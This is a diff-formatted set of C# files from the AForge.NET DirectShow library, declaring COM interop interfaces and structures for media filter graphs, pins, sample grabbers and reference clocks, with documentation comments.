||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Run();
|
||||
|
||||
/// <summary>
|
||||
/// Pauses all filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Pause();
|
||||
|
||||
/// <summary>
|
||||
/// Stops all the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Stop();
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the state of the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="timeout">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>
|
||||
/// <param name="filterState"><3E>ariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetState(int timeout, out int filterState);
|
||||
|
||||
/// <summary>
|
||||
/// Builds a filter graph that renders the specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Name of the file to render</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderFile(string fileName);
|
||||
|
||||
/// <summary>
|
||||
/// Adds a source filter to the filter graph, for a specified file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">Name of the file containing the source video.</param>
|
||||
/// <param name="filterInfo">Receives interface of filter information object.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddSourceFilter([In] string fileName, [Out] [MarshalAs(UnmanagedType.IDispatch)] out object filterInfo);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a collection of the filters in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="collection">Receives the <b>IAMCollection</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_FilterCollection(
|
||||
[Out] [MarshalAs(UnmanagedType.IDispatch)]
|
||||
out object collection);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a collection of all the filters listed in the registry.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="collection">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_RegFilterCollection(
|
||||
[Out] [MarshalAs(UnmanagedType.IDispatch)]
|
||||
out object collection);
|
||||
|
||||
/// <summary>
|
||||
/// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int StopWhenReady();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,128 @@
|
|||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface inherits contains methods for retrieving event notifications and for overriding the
|
||||
/// filter graph's default handling of events.
|
||||
/// </summary>
|
||||
[ComVisible(true)]
|
||||
[ComImport]
|
||||
[Guid("56a868c0-0ad4-11ce-b03a-0020af0ba770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsDual)]
|
||||
internal interface IMediaEventEx
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
|
||||
/// </summary>
|
||||
/// <param name="hEvent">Pointer to a variable that receives the event handle.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetEventHandle(out IntPtr hEvent);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the next event notification from the event queue.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lEventCode">Variable that receives the event code.</param>
|
||||
/// <param name="lParam1">Pointer to a variable that receives the first event parameter.</param>
|
||||
/// <param name="lParam2">Pointer to a variable that receives the second event parameter.</param>
|
||||
/// <param name="msTimeout">Time-out interval, in milliseconds.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetEvent([Out] [MarshalAs(UnmanagedType.I4)] out DsEvCode lEventCode, [Out] out IntPtr lParam1,
|
||||
[Out] out IntPtr lParam2, int msTimeout);
|
||||
|
||||
/// <summary>
|
||||
/// Waits for the filter graph to render all available data.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="msTimeout">Time-out interval, in milliseconds. Pass zero to return immediately.</param>
|
||||
/// <param name="pEvCode">Pointer to a variable that receives an event code.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int WaitForCompletion(int msTimeout, [Out] out int pEvCode);
|
||||
|
||||
/// <summary>
|
||||
/// Cancels the Filter Graph Manager's default handling for a specified event.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lEvCode">Event code for which to cancel default handling.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CancelDefaultHandling(int lEvCode);
|
||||
|
||||
/// <summary>
|
||||
/// Restores the Filter Graph Manager's default handling for a specified event.
|
||||
/// </summary>
|
||||
/// <param name="lEvCode">Event code for which to restore default handling.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RestoreDefaultHandling(int lEvCode);
|
||||
|
||||
/// <summary>
|
||||
/// Frees resources associated with the parameters of an event.
|
||||
/// </summary>
|
||||
/// <param name="lEvCode">Event code.</param>
|
||||
/// <param name="lParam1">First event parameter.</param>
|
||||
/// <param name="lParam2">Second event parameter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FreeEventParams([In] [MarshalAs(UnmanagedType.I4)] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2);
|
||||
|
||||
/// <summary>
|
||||
/// Registers a window to process event notifications.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="hwnd">Handle to the window, or <see cref="IntPtr.Zero"/> to stop receiving event messages.</param>
|
||||
/// <param name="lMsg">Window message to be passed as the notification.</param>
|
||||
/// <param name="lInstanceData">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetNotifyWindow(IntPtr hwnd, int lMsg, IntPtr lInstanceData);
|
||||
|
||||
/// <summary>
|
||||
/// Enables or disables event notifications.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lNoNotifyFlags">Value indicating whether to enable or disable event notifications.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetNotifyFlags(int lNoNotifyFlags);
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether event notifications are enabled.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="lplNoNotifyFlags">Variable that receives current notification status.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetNotifyFlags(out int lplNoNotifyFlags);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,191 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// This interface is exposed by all input and output pins of DirectShow filters.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A86891-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IPin
|
||||
{
|
||||
/// <summary>
|
||||
/// Connects the pin to another pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="receivePin">Other pin to connect to.</param>
|
||||
/// <param name="mediaType">Type to use for the connections (optional).</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Connect([In] IPin receivePin, [In] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Makes a connection to this pin and is called by a connecting pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="receivePin">Connecting pin.</param>
|
||||
/// <param name="mediaType">Media type of the samples to be streamed.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ReceiveConnection([In] IPin receivePin, [In] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the current pin connection.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect();
|
||||
|
||||
/// <summary>
|
||||
/// Returns a pointer to the connecting pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Receives <b>IPin</b> interface of connected pin (if any).</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectedTo([Out] out IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Returns the media type of this pin's connection.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Pointer to an <see cref="AMMediaType"/> structure. If the pin is connected,
|
||||
/// the media type is returned. Otherwise, the structure is initialized to a default state in which
|
||||
/// all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and
|
||||
/// <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectionMediaType([Out] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about this pin (for example, the name, owning filter, and direction).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinInfo"><see cref="PinInfo"/> structure that receives the pin information.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryPinInfo([Out] out PinInfo pinInfo);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the direction for this pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinDirection">Receives direction of the pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryDirection(out PinDirection pinDirection);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves an identifier for the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="id">Pin identifier.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryId([Out] [MarshalAs(UnmanagedType.LPWStr)] out string id);
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether a given media type is acceptable by the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType"><see cref="AMMediaType"/> structure that specifies the media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryAccept([In] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for this pin's preferred media types.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumMediaTypes(IntPtr enumerator);
|
||||
|
||||
/// <summary>
|
||||
/// Provides an array of the pins to which this pin internally connects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="apPin">Address of an array of <b>IPin</b> pointers.</param>
|
||||
/// <param name="nPin">On input, specifies the size of the array. When the method returns,
|
||||
/// the value is set to the number of pointers returned in the array.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryInternalConnections(IntPtr apPin, [In] [Out] ref int nPin);
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the pin that no additional data is expected.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EndOfStream();
|
||||
|
||||
/// <summary>
|
||||
/// Begins a flush operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int BeginFlush();
|
||||
|
||||
/// <summary>
|
||||
/// Ends a flush operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EndFlush();
|
||||
|
||||
/// <summary>
|
||||
/// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="start">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||
/// <param name="stop">End time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||
/// <param name="rate">Rate at which this segment should be processed, as a percentage of the original rate.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int NewSegment(
|
||||
long start,
|
||||
long stop,
|
||||
double rate);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The <b>IPropertyBag</b> interface provides an object with a property bag in
|
||||
/// which the object can persistently save its properties.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("55272A00-42CB-11CE-8135-00AA004BB851")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IPropertyBag
|
||||
{
|
||||
/// <summary>
|
||||
/// Read a property from property bag.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="propertyName">Property name to read.</param>
|
||||
/// <param name="pVar">Property value.</param>
|
||||
/// <param name="pErrorLog">Caller's error log.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Read(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string propertyName,
|
||||
[In] [Out] [MarshalAs(UnmanagedType.Struct)]
|
||||
ref object pVar,
|
||||
[In] IntPtr pErrorLog);
|
||||
|
||||
/// <summary>
|
||||
/// Write property to property bag.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="propertyName">Property name to read.</param>
|
||||
/// <param name="pVar">Property value.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Write(
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string propertyName,
|
||||
[In] [MarshalAs(UnmanagedType.Struct)] ref object pVar);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,89 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2010
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
// Written by Jeremy Noring
|
||||
// kidjan@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The IReferenceClock interface provides the reference time for the filter graph.
|
||||
///
|
||||
/// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
|
||||
/// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
|
||||
/// retrieve the current reference time, or to request notification of an elapsed time.
|
||||
/// </summary>
|
||||
[ComImport]
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[Guid("56a86897-0ad4-11ce-b03a-0020af0ba770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IReferenceClock
|
||||
{
|
||||
/// <summary>
|
||||
/// The GetTime method retrieves the current reference time.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pTime">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetTime([Out] out long pTime);
|
||||
|
||||
/// <summary>
|
||||
/// The AdviseTime method creates a one-shot advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="baseTime">Base reference time, in 100-nanosecond units. See Remarks.</param>
|
||||
/// <param name="streamTime">Stream offset time, in 100-nanosecond units. See Remarks.</param>
|
||||
/// <param name="hEvent">Handle to an event, created by the caller.</param>
|
||||
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AdviseTime(
|
||||
[In] long baseTime,
|
||||
[In] long streamTime,
|
||||
[In] IntPtr hEvent,
|
||||
[Out] out int pdwAdviseCookie);
|
||||
|
||||
/// <summary>
|
||||
/// The AdvisePeriodic method creates a periodic advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="startTime">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>
|
||||
/// <param name="periodTime">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>
|
||||
/// <param name="hSemaphore">Handle to a semaphore, created by the caller.</param>
|
||||
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AdvisePeriodic(
|
||||
[In] long startTime,
|
||||
[In] long periodTime,
|
||||
[In] IntPtr hSemaphore,
|
||||
[Out] out int pdwAdviseCookie);
|
||||
|
||||
/// <summary>
|
||||
/// The Unadvise method removes a pending advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="dwAdviseCookie">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Unadvise([In] int dwAdviseCookie);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,103 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
|
||||
/// individual media samples as they move through the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISampleGrabber
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies whether the filter should stop the graph after receiving one sample.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="oneShot">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetOneShot([In] [MarshalAs(UnmanagedType.Bool)] bool oneShot);
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the media type for the connection on the Sample Grabber's input pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Specifies the required media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetMediaType([In] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the media type for the connection on the Sample Grabber's input pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType"><see cref="AMMediaType"/> structure, which receives media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetConnectedMediaType([Out] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Specifies whether to copy sample data into a buffer as it goes through the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="bufferThem">Boolean value specifying whether to buffer sample data.
|
||||
/// If <b>true</b>, the filter copies sample data into an internal buffer.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetBufferSamples([In] [MarshalAs(UnmanagedType.Bool)] bool bufferThem);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a copy of the sample that the filter received most recently.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="bufferSize">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>
|
||||
/// <param name="buffer">Pointer to a buffer to receive a copy of the sample, or NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentBuffer(ref int bufferSize, IntPtr buffer);
|
||||
|
||||
/// <summary>
|
||||
/// Not currently implemented.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sample"></param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentSample(IntPtr sample);
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a callback method to call on incoming samples.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="callback"><see cref="ISampleGrabberCB"/> interface containing the callback method, or NULL to cancel the callback.</param>
|
||||
/// <param name="whichMethodToCallback">Index specifying the callback method.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetCallback(ISampleGrabberCB callback, int whichMethodToCallback);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface provides callback methods for the <see cref="ISampleGrabber.SetCallback"/> method.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("0579154A-2B53-4994-B0D0-E773148EFF85")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISampleGrabberCB
|
||||
{
|
||||
/// <summary>
|
||||
/// Callback method that receives a pointer to the media sample.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||
/// <param name="sample">Pointer to the sample's <b>IMediaSample</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SampleCB(double sampleTime, IntPtr sample);
|
||||
|
||||
/// <summary>
|
||||
/// Callback method that receives a pointer to the sample buffer? /// </summary>
|
||||
///
|
||||
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||
/// <param name="buffer">Pointer to a buffer that contains the sample data.</param>
|
||||
/// <param name="bufferLen">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int BufferCB(double sampleTime, IntPtr buffer, int bufferLen);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface indicates that an object supports property pages.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("B196B28B-BAB4-101A-B69C-00AA00341D07")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISpecifyPropertyPages
|
||||
{
|
||||
/// <summary>
|
||||
/// Fills a counted array of GUID values where each GUID specifies the
|
||||
/// CLSID of each property page that can be displayed in the property
|
||||
/// sheet for this object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pPages">Pointer to a CAUUID structure that must be initialized
|
||||
/// and filled before returning.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetPages(out CAUUID pPages);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,520 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright ?AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
// PIN_DIRECTION
|
||||
|
||||
/// <summary>
|
||||
/// This enumeration indicates a pin's direction.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
internal enum PinDirection
|
||||
{
|
||||
/// <summary>
|
||||
/// Input pin.
|
||||
/// </summary>
|
||||
Input,
|
||||
|
||||
/// <summary>
|
||||
/// Output pin.
|
||||
/// </summary>
|
||||
Output
|
||||
}
|
||||
|
||||
// AM_MEDIA_TYPE
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the format of a media sample.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible(false)]
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal class AMMediaType : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Globally unique identifier (GUID) that specifies the major type of the media sample.
|
||||
/// </summary>
|
||||
public Guid MajorType;
|
||||
|
||||
/// <summary>
|
||||
/// GUID that specifies the subtype of the media sample.
|
||||
/// </summary>
|
||||
public Guid SubType;
|
||||
|
||||
/// <summary>
|
||||
/// If <b>true</b>, samples are of a fixed size.
|
||||
/// </summary>
|
||||
[MarshalAs(UnmanagedType.Bool)] public bool FixedSizeSamples = true;
|
||||
|
||||
/// <summary>
|
||||
/// If <b>true</b>, samples are compressed using temporal (interframe) compression.
|
||||
/// </summary>
|
||||
[MarshalAs(UnmanagedType.Bool)] public bool TemporalCompression;
|
||||
|
||||
/// <summary>
|
||||
/// Size of the sample in bytes. For compressed data, the value can be zero.
|
||||
/// </summary>
|
||||
public int SampleSize = 1;
|
||||
|
||||
/// <summary>
|
||||
/// GUID that specifies the structure used for the format block.
|
||||
/// </summary>
|
||||
public Guid FormatType;
|
||||
|
||||
/// <summary>
|
||||
/// Not used.
|
||||
/// </summary>
|
||||
public IntPtr unkPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Size of the format block, in bytes.
|
||||
/// </summary>
|
||||
public int FormatSize;
|
||||
|
||||
/// <summary>
|
||||
/// Pointer to the format block.
|
||||
/// </summary>
|
||||
public IntPtr FormatPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Destroys the instance of the <see cref="AMMediaType"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
